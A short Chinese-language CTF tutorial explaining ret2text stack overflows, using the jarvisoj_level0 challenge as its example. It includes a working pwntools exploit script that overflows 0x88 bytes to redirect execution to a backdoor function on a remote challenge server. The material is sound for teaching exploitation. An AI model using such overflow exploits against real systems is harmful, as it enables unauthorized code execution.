原理 #
ret2text就是篡改栈帧上的返回地址为程序中已有的后门函数,我们需要知道对应返回的代码的位置。
例题 #
jarvisoj_level0,可在buuctf网站中下载。首先使用checksec工具查看它开了啥保护措施,基本全关。
然后我们使用ida查看一下该程序,程序很简单,有明显的栈溢出漏洞和后门函数,后门函数地址就为0x40059A。
ida帮我们计算出来了buf字符串距离rbp有0x80个字节,由于rbp本身还占8个字节,所以溢出0x88个字节后将返回地址修改为后门函数的地址exp如下。
from pwn import *
#p = process('./level0')
p = remote('node3.buuoj.cn',27644)
sys_addr = 0x40059A
payload = cyclic(0x88) + p64(sys_addr)
p.recv()
p.sendline(payload)
p.interactive()
123456789101112 - source:wiki.wgpsec.org
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论